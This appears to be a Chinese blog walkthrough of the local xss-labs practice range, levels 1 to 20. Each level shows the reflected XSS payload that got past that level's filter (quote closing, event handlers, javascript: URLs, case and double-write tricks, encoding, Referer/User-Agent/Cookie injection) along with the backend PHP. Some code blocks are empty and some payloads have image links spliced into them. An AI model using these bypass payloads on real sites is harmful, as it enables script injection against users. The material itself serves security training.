Xss labs靶场打靶记录
level-1 无过滤机制¶
http://127.0.0.1/xss-labs/level1.php?name=test
-
我们先看一看页面:观察发现,URL中可以输入参数,而页面会回显参数以及参数的长度。
-
我们看一下页面源码,发现我们输入的内容会被直接拼接在页面中。
- 因此我们将URL中的中的 “test” 修改为 “
<script>alert(1)</script>
,成功弹窗。 - 后端代码如下(我们输入的参数在被get到的时候没有经过特殊的过滤处理):
PHP | |
---|---|
1 2 3 4 5 |
|
level-2 闭合标签¶
http://127.0.0.1/xss-labs/level2.php?keyword=test
- 这一关有了输入框,我们先输入
<script>alert(1)</script>
试一试,发现没有成功 - 我们在第一步的基础上进页面源码看一看:
- 我们发现,在页面上输出的内容被转义了,但是value属性中的并没有被转移,但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。因此我们想办法去闭合,我们输入
"><script>alert(1)</script>
,进行闭合,闭合之后的为“<input name="keyword" value=""><script>alert(1)</script>">
”,成功弹窗。 - 我们看一看后端代码:(用 htmlspecialchars() 对输入的字符进行了转义) 点此学习 htmlspecialchars() 函数
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 |
|
level-3 单引号闭合+htmlspecialchars()¶
http://127.0.0.1/xss-labs/level3.php?writing=wait
- 我们依旧是先输入
<script>alert(1)</script>
,没有作用,查看网页源码,发现页面输出内容和 value 属性值都被转义了 - 观察发现,上图中的单引号并没有被转义,我们将单引号闭合,并使用一种不需要尖括号等的JS方法,我们输入
'onclink='alert(1)
,成功弹窗。 当我们输入之后的完整代码为:<input name="keyword" value=' ' onclick='alert(1)'>
(也可以'onclick='javascript:alert(1)
) - 我们看一看后端源码:(确实是对两个地方都进行了转义)
level-4 双引号闭合+添加事件¶
http://127.0.0.1/xss-labs/level4.php?keyword=try harder!
- 我们依旧是
<script>alert(1)</script>
测试,查看网页源码,发现尖括号直接就没有了 - 那我们还是像上一关一样,使用不需要尖括号的写法,但是上一关是单引号闭合,而这一关是双引号,那我们就改成
"onclick="alert(1)
或者"onclick="javascript:alert(1)
,成功弹窗。 - 我们看一看后端代码:发现是使用 replace 对尖括号等进行了替换。
PHP | |
---|---|
1 2 3 |
|
level-5 JavaScript 伪协议¶
http://127.0.0.1/xss-labs/level5.php?keyword=find a way out!
-
我们还是
<script>alert(1)</script>
,然后看页面源码,发现 value 属性值变成了<scr_ipt>alert(1)</script>
(下划线) 我们再尝试">onclick="alert(1)
,查看页面源码, value 处成了value="">o_nclick="alert(1)"
(下划线) 说明后端会对 script 和 onclick 进行过滤。 -
查资料,得知应该用 a 标签绕过,使用 JS伪协议(
javascript:alert(1)
)绕过,简单说就是把 javascript: 后面的代码当成 javascript 来执行。 - 因此我们输入
"><a href=javascript:alert(1)>
(用 "> 进行闭合),成功弹窗。 - 看看后端代码:
PHP 1 2 3
$str = strtolower($_GET["keyword"]); $str2 = str_replace("<script", "<scr_ipt", $str); $str3 = str_replace("on", "o_n", $str2);
level-6 大小写绕过¶
http://127.0.0.1/xss-labs/level6.php?keyword=break it out!
- (这一步和上一关一模一样)我们还是
<script>alert(1)</script>
,然后看页面源码,发现 value 属性值变成了<scr_ipt>alert(1)</script>
(下划线) 我们再尝试">onclick="alert(1)
,查看页面源码, value 处成了value="">o_nclick="alert(1)"
(下划线) 说明后端会对 script 和 onclick 进行过滤。 - 我们像上一关一样使用 JS伪协议,发现依旧不行,居然 href 也被替换成了 hr_ef
- 但是它并没有做大小写过滤,所以我们可以使用以下三种方法:
"><sCript>alert()</sCript><"
"Onfocus=javascript:alert()"
(这种和下面那种只是少了空格而已,但是不行,至于为啥,请看第四步)"Onfocus=javascript:alert() "
-
"><a hRef=javascript:alert()><"
-
我们来解决上一步中产生的问题:为什么
"Onfocus=javascript:alert()"
不可以,但是" Onfocus=javascript:alert() "
可以(二者只是差了 alert() 后面的空格而已)。请看下图:看出区别了吧,没有空格的时候 alert() 后面的两个引号形成了闭合,而有空格的时候,则一切正常。
-
我们看一看后端代码:
PHP | |
---|---|
1 2 3 4 5 6 |
|
level-7 双写绕过¶
http://127.0.0.1/xss-labs/level7.php?keyword=move up!
- 我们依旧是尝试
<script>alert()</script>
,结果直接把<script></script>
给没了,这很可能是检测到 script 标签然后进行了替换,那我们就尝试双写绕过 - 我们尝试一下内容:成功弹窗
"> <a hrehreff=javasscriptcript:alert()>
-
"><scscriptript>alert(1)</sscriptcript>
-
我们看一看后端代码:依旧是做了替换(问题在于只过滤了一次)
PHP 1 2 3 4 5 6
$str = strtolower($_GET["keyword"]); $str2 = str_replace("script", "", $str); $str3 = str_replace("on", "", $str2); $str4 = str_replace("src", "", $str3); $str5 = str_replace("data", "", $str4); $str6 = str_replace("href", "", $str5);
level-8 编码绕过¶
http://127.0.0.1/xss-labs/level8.php?keyword=nice try!
- 我们测试发现,大小写绕过 双写绕过 JS伪协议 ……各种东西都被限制了,然后我们输入内容之后点击 “友情链接” 会跳转,那我们就尝试在这里做动作。
-
查资料:我们能利用 href 的隐藏属性自动 Unicode 解码,我们可以插入一段 js 伪协议
javascript:alert()
我们将其URL编码,得到:javascript:alert![1](./xss-labs/8/1.jpg)()
成功弹窗 -
后台源代码分析。将 keyword 提交的变量转换为小写,替换关键字 script、on、src、data、href、",然后输出在a标签的href属性中。
PHP 1 2 3 4 5 6 7
$str = strtolower($_GET["keyword"]); $str2 = str_replace("script", "scr_ipt", $str); $str3 = str_replace("on", "o_n", $str2); $str4 = str_replace("src", "sr_c", $str3); $str5 = str_replace("data", "da_ta", $str4); $str6 = str_replace("href", "hr_ef", $str5); $str7 = str_replace('"', '"', $str6);
level-9 检测关键字¶
http://127.0.0.1/xss-labs/level9.php?keyword=not bad!
-
依旧是“友情链接”,那我们就把上一关的拿过来试一试,结果提示“您的链接不合法?有没有!”,链接合法,我们考虑一下 http 或者 https 协议,但是其实这里会有两种可能,一种是开头必须是 http 等字样,另一种是字符串中不管哪里有 http 等字样就行,看一看后端发现这一关是第二种情况,那就很舒服了(问一下 第一种情况怎么办)。
-
那我们先尝试一下
javascript:alert()http://www.baidu.com
但是这首先就不符合语法,应该在 http 前面加注释,(反正不执行,后端只是检测一下有没有这个字样)所以我们应该改成javascript: alert(1) //http://ww![2](./xss-labs/9/2.jpg)w.baidu.com
-
但是输入之后并不行,怎么回事,看看页面源码,发现 href 中的 “ script ” 被插入了下划线
- 这应该是后端匹配到 script 然后做了替换,因为是在 href 里面,那我们就进行 Unicode 编码,(注意别把html给编码了)
javascript:alert(1)//http://
- 我们看一看后端代码:
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
|
- 看到了吧,使用了 strpos() 函数进行了匹配 点我学习 strpos() 函数
level-10 隐藏信息¶
http://127.0.0.1/xss-labs/level10.php?keyword=well done!
- 我们进网页源码看一看,发现有三个 input 标签被隐藏了,但是我们不知道这三个标签哪一个可以利用,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用,
t_link" type='text'>//&t_history" type='text'>//&t_sort=" type='text'>//
试一试,发现第三个被修改了(或者是输入a&t_link=aa&t_history=bb&t_sort=cc
回车后发现页面源码中之后 t_sort 被改动了) - 那我们呢就直接构造payload:
&t_sort=" type='text' onclick=javascript:alert(12)>//
,成功 - 看一看后端
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
$_GET["t_sort"]
经过删除尖括号等操作,最终放到了第三个 input 标签里。
level-11 referer¶
http://127.0.0.1/xss-labs/level11.php?keyword=good job! 1. 我们看看页面源码,发现有四个被隐藏的 input 标签,相比于上一关多出了一个叫 t_ref 的标签,ref,有没有想到什么,当然是 referer。(并且这个标签值为第10关URL) Referer 是 HTTP 请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:Referer=http://www.google.com
由此可以看出来吧。它就是表示一个来源。看下图的一个请求的 Referer 信息。
-
既然如此,那我们就试试用 Burp 抓包,然后修改 referer,呃当然是先去第十关,在弹窗成功那儿(跳转11关的时候)抓包。如图为抓到的数据包:
-
我们将数据包修改为
referer:&t_sort=" type='text' onclick=javascript:alert()>//![3](./xss-labs/11/3.jpg)
,然后放行,发现页面确实有了一个框,点击成功弹窗 - 最后我们来看下后端代码:发现确实是
$str11 = $_SERVER['HTTP_REFERER'];
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
level-12 user-agent¶
http://127.0.0.1/xss-labs/level12.php?keyword=good job!
- 还是看页面源码,这次的又成了 t_ua ,UA,后面的值也一看就是UA,那我们启动Burp!
- 如图为我们抓到的数据包:
- 我们对 UA 的值进行修改:
"type="te![3](./xss-labs/12/3.jpg)xt" onmousemove="alert()
- 修改后放行,成功弹窗,我们看看后端代码:(
$str11 = $_SERVER['HTTP_USER_AGENT'];
)
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
level-13 cookie¶
http://127.0.0.1/xss-labs/level13.php?keyword=good job!
- 先看看前端代码,这次又换成了 t_cook ,呃,cookies?看一看 cookies ,长得确实很奇怪。那就还是 Burp 改包。
- 我们在Burp抓到数据包之后,将 cookie 修改为
"type='text' onclick=javascript:![2](./xss-labs/13/2.jpg)alert(1)//
,如图: - 放行后果然有了一个框,也成功弹窗。
- 看看后端代码:(
$str11 = $_COOKIE["user"];
)
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
level-14 exif¶
http://127.0.0.1/xss-labs/level14.php 1. 看了看网上,好多说这个题有问题,页面也正常显示不出来。我们就直接看看后端代码吧。
HTML | |
---|---|
1 2 3 4 5 |
|
![请添加图片描述](../xss-labs%E9%9D%B6%E5%9C%BA%E6%89%93%E9%9D%B6%E8%AE%B0%E5%BD%95.assets/1-1706708369809-91.jpg)
- 去了解一下 EXIF 吧
exif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
level-15 ng-include¶
http://127.0.0.1/xss-labs/level15.php?src=1.gif
- 我们先尝试将 url 中的 1.gif 修改为
<script>alert()</script>
,然后看看页面源码,发现除了有个<!-- ngInclude: <script>alert()</script> -->
也没有别的东西了,那我们就搜一搜啥是 nginclude
ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。
-
那也就是说,我们只要使 ng-include 包含一个弹窗页面就行,而且“默认情况下,包含的文件需要包含在同一个域名下”。那我们就把第一关搬过来。(
http://127.0.0.1/xss-labs/level1.php?nam![2](./xss-labs/15/2.jpg)e=%3Cscript%3Ealert(1)%3C/script%3E
) -
而直接把上述内容替换 1.gif 回车后发现没有任何作用,这是因为没有加单引号,必须用单引号包围起来。 回车后我们呢看到页面中确实有了整个第一关的东西,页面源码里面也包含了第一关的东西,但是依旧
没有弹窗。
- 这种情况很可能是 script标签 被页面过滤掉了。那我们换一种方式:(注意,这里不能包涵那些直接弹窗的东西如
<script>
,但是可以包涵那些标签的东西比如<a>
、<input>
、<img>
、<p>
标签等等,这些标签是能需要我们手动点击弹窗的) 方法一:http://127.0.0.1/xss-labs/level1.php?name=a<img src=1 onerror=alert()>
方法二:http://127.0.0.1/xss-labs/level1.php?name=<p onmousedown=alert()>AAA</p>
方法三:http://127.0.0.1/xss-labs/level1.php?name=<a href="javascript:alert()">
等等……………… - 看一看后端
PHP 1 2 3 4 5
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:' . htmlspecialchars($str) . '"></span></body>'; ?>
- 还有就是了解一下 angular (前端框架)因为这个 ng-include 是它的东西
level-16 空格实体转义¶
http://127.0.0.1/xss-labs/level16.php?keyword=test
- 因为前面有 center 标签,我就想着先把它闭合掉,
</center><script>alert(![1](./xss-labs/16/1.jpg))</script>
但是不管是 / 还是 script 都被过滤了: - 那好,那我试一试上一关的
<img src=1 onerror![2](./xss-labs/16/2.jpg)=alert()>
,但是看起来空格也被弄了
HTML提供了5种空格实体(space entity),它们拥有不同的宽度,非断行空格(
)是常规空格的宽度,可运行于所有主流浏览器。其他几种空格(      ‌‍
)在不同浏览器中宽度各异。
- 既然如此,那我们就直接把 换行符 给 URL 编码一下,%0A,用 %0A 替换空格,成功弹窗。至于为什么不是用空格 URL 编码,而是用换行符 这是因为用换行符替换空格效果一样 (在 html 中,不论加多少空格或者回车,都会被转成一个空格)
- 也就是说,我们最后输入的为
<img%0Asrc=1%0Aonerror=alert()>
,成功弹窗。 - 看看后端代码:
PHP | |
---|---|
1 2 3 4 5 6 7 8 9 |
|
level-17 参数拼接¶
http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=b
- 我们先看看页面源码,发现了一个 embed 标签 ,而且里面的 src 就是我们 URL 中的东西。
- 那我们就尝试去闭合掉它,我们在URL的最后面加上
" onmouseover='alert()'
,当鼠标移动到图片上面时成功弹窗。 - 了解一下 embed 标签:
embed 标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会有块错误的区域。也可以绑定各种事件,比如尝试绑定一个onmouseover事件。后台看代码用了htmlspecialchars,所以直接写标签是不行的。embed标签基本不怎么用了,所以这一关就简单了解一下即可。
- 后端代码:
PHP | |
---|---|
1 2 3 4 |
|
level-18 参数拼接¶
http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=b
- 和17关一模一样
level-19 flash xss¶
http://127.0.0.1/xss-labs/level19.php?arg01=a&arg02=b
- 首先从页面源码来看,也是 embed 标签
- 别人说:至于为啥这里不能用前面两关的方法了?是因为源码把上面漏洞闭合了,加了一对双引号,绕不出去了(只能用 " 闭合,但是 " 会被转义,无法闭合,所以即使看起来是好的,也无法弹框)
- 后端长这样:
PHP 1 2 3 4
<?php ini_set("display_errors", 0); echo '<embed src="xsf03.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>'; ?>
- 貌似涉及到 flash 反编译啥的,我也不会,附上偷来的 payload:
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
level-20 flash xss¶
- 偷来的 payload:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)
- 后端:
PHP | |
---|---|
1 2 3 4 |
|
- 大佬的文章:xss-labs 第20关
总结¶
(小声说一句,这部分也是偷的)
反射型XSS测试步骤总结: 1. 检测输入变量,确认每个 web 页面中用户可自定义的变量,如 HTTP 参数、POST 数据、隐藏表单字段值、预定义的 radio 值或选择值 2. 分别确认每个输入变量是否存在 xss漏洞。变量输入处输入 poc,查看返回的 web页面的 html 中 poc 代码是否被过滤,浏览器是否响应 poc,若存在过滤,进行测试查看能否进行绕过。
XSS的攻防:
1. 攻:利用<>标记,构造<script>
标签可执行 javascript的xss代码。
防:xss过滤函数需过滤<><script></script>
等字符。
2. 攻:利用 html 标签属性支持 javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
防:xss 过滤函数需过滤JavaScript等关键字。
3. 利用 javascript 在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对 javascript 的关键字的过滤。
4. 攻:利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
防:xss 过滤函数需过滤&#\等字符。
5. 利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>
,当浏览器响应页面时,找不到图片的地址,触发onerror事件。
6. 攻:利用css执行javascript代码,css代码中利用expression触发xss漏洞。如下所示:
HTML | |
---|---|
1 2 3 4 5 6 7 |
|
css代码中利用@import触发xss
HTML | |
---|---|
1 2 3 4 5 |
|
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
HTML | |
---|---|
1 2 3 |
|
防:xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
- 利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数
- 利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。